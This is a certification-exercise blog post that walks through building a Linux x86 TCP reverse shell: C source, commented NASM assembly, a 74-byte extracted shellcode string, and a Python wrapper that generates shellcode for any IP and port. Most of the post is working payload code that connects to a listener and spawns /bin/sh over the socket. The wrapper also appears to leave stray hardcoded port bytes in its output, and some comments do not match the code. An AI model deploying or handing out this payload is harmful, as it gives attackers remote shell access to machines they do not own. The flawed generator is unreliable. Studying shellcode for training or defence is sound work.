This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-885
Assignment number: 2
Github repo: https://github.com/abatchy17/SLAE


What are the requirements for a reverse shell?

A reverse shell requires the following:

  1. Connect to an IP on a given port (now acting as a client).
  2. Spawn a shell upon connecting.

Most of the process is very similar to the bind shell example (which means lots of repetition here), with a few twists:

1. Listener is external, by that it means our code won’t be listening to incoming connections, instead it will connect to an existing open port waiting for a connection.
2. IP and port need to be defined in the code, bind shell only needed a port to start listening on.


TCP reverse shell in C

#include <stdio.h>  
#include <sys/types.h>   
#include <sys/socket.h>  
#include <netinet/in.h>  
  
int client_sockid;  // sockfd for client  
int host_sockid;    // sockfd for host  
      
struct sockaddr_in hostaddr;            // sockaddr struct   
  
int main()  
{  
    // Create socket  
    client_sockid = socket(PF_INET, SOCK_STREAM, 0);  
  
    // Initialize sockaddr struct to bind socket using it  
    hostaddr.sin_family = AF_INET;  
    hostaddr.sin_port = htons(1337);  
    hostaddr.sin_addr.s_addr = inet_addr("127.0.0.1");  
  
    // Connect to existing listener  
    connect(client_sockid, (struct sockaddr*)&hostaddr, sizeof(hostaddr));  
  
    // Duplicate file descriptors for STDIN, STDOUT and STDERR  
    dup2(client_sockid, 0);  
    dup2(client_sockid, 1);  
    dup2(client_sockid, 2);  
  
    // Execute /bin/sh  
    execve("/bin/sh", NULL, NULL);  
    return 0;  
} 

Again, this code lacks error checking and shouldn’t be used as is, for a more robust code, check my sockets repo.

Quick break down:

1. Create socket
2. Connect to listener
3. Redirect STDIN, STDOUT and STDERR to newly created socket from client.
4. Spawn the shell.


Converting module to assembly (sigh)

For socket programming through syscalls you’ll need to make use of three registers:
1. EAX should always contain 0x66, which is the number of socketcall() defined in the linux headers.
2. EBX should contain the call ID for the specific socket function you want to execute, which is defined in /usr/include/linux/net.h.
3. ECX contains a pointer to the arguments.

global _start  
section .text  
  
_start:  
    ; Socket functions should be accessed through socketcall()  
    ; References:  
    ;   1. http://man7.org/linux/man-pages/man2/socketcall.2.html  
    ;   2. http://lxr.free-electrons.com/source/net/socket.c?v=2.6.35#L2210  
    ; Call ids are defined in /usr/include/linux/net.h and should be put in EBX  
  
    ;  
    ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)  
    ;  
    cdq                 ; EDX = 0x0 | Saves a byte  
    xor ebx, ebx  
    inc ebx             ; EBX = 0x1 | #define SYS_SOCKET 1  
                        ; saves a byte instead of mov bl, 1  
    push edx            ; zeroed out earlier  
                        ; protocol = 0  
    push ebx            ; SOCK_STREAM = 1  
                        ; Needed for bind(), can be used here to save a few bytes  
    push byte 0x2       ; PF_INET = 2  
    mov ecx, esp  
    push byte 0x66      ; socketcall()  
    pop eax             ; EAX = 0x66  
    int 0x80  
  
    xchg esi, eax       ; sockfd is now stored in esi  
  
    ;  
    ; connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 16)  
    ;  
    inc ebx             ; EBX = 0x2   
    push 0x0101017f       ; sockaddr.sin_addr.s_addr: 127.0.0.1 (big endian)  
    push word 0x3905    ; sockaddr.sin_port       : PORT = 1337  
    push bx             ; sockaddr.sin_family     : AF_INET = 2  
    mov ecx, esp        ; ECX holds pointer to struct sockaddr  
  
    push 0x10           ; sizeof(sockaddr)  
    push ecx            ; pointer to sockaddr  
    push esi            ; sockfd  
    mov ecx, esp        ; ECX holds pointer to arguments  
    inc ebx             ; EBX = 0x3 | #define SYS_CONNECT 3  
    mov al, 0x66        ; socketcall()  
    int 0x80  
  
    xchg ebx, esi  
      
    ;  
    ; dup2(ebx, {0,1,2})  
    ;  
    xor ecx, ecx  
lbl:  
    mov al, 0x3f  ; dup2()  
    int 0x80  
    inc ecx    ; Iterate over {0,1,2}  
    cmp cl, 0x4   ; Are we done?  
    jne lbl    ; Nope  
      
    ; execve("/bin//sh", NULL, NULL)  
    push edx   ; Null terminator  
    push 0x68732f2f  ; "hs//"  
    push 0x6e69622f  ; "nib/"  
      
    mov ebx, esp  ; EBX points to "/bin//sh"  
    mov ecx, edx  ; ECX = NULL`  
      
    mov al, 0xb   ; execve()  
    int 0x80  

As you noticed, when calling connect(), we defined port 1337 as 0x3905 instead of 0x0539, and local IP 127.1.1.1 (we avoided 127.0.0.1 because of null characters) was converted to 0x0101017f instead of 0x7F010101. This is because it’s in network byte order, which is big-endian. In the example code you should still call htonl() / inet_addr() even if your CPU is big-endian for cross compatibility.


Testing our shell

1. Start a listener


2. Compile code and run


3. Check listener


Extracting the shellcode

abatchy@ubuntu:~/Desktop/work$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'  
"\x99\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\x6a\x66\x58\xcd\x80\x96\x43\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xb0\x66\xcd\x80\x87\xde\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"  

Python wrapper

#!/usr/bin/python  
  
import socket  
import sys  
import struct  
  
if len(sys.argv) is not 3:  
    print "Usage: {0} IP PORT".format(sys.argv[0])  
    exit()  
  
ip = socket.inet_aton(sys.argv[1])  
port = int(sys.argv[2])  
  
if port < 1 or port > 65535:  
    print "Are you kidding?"  
    exit()  
  
if port <= 1000:  
    print "Port will bind only if run as root"  
  
# ugly code, don't look  
port = format(port, '04x')  
port = "\\x" + str(port[2:4]) + "\\x" + str(port[0:2])  
  
ip = ip.encode('hex')  
ip = "\\x" + ip[0:2] + "\\x" + ip[2:4] + "\\x" + ip[4:6] + "\\x" + ip[6:8]  
  
sc = "\\x99\\x31\\xdb\\x43\\x52\\x53\\x6a\\x02\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x96\\x43\\x68" + ip + "\\x66\\x68" + port + "\\x05\\x39\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x87\\xde\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\x80\\xf9\\x04\\x75\\xf6\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80"  
  
print "Shellcode generated:"  
print sc  

Final notes

1. Shellcode is null free assuming the port number is too.
2. Shellcode size is 74 bytes.
3. Shellcode is register-independant.


References:

1. http://man7.org/linux/man-pages/man2/socketcall.2.html
2. http://lxr.free-electrons.com/source/net/socket.c?v=2.6.35#L2210.
3. Hacking: The Art of Exploitation (2nd Edition) - Chapter 4 and 5

- Abatchy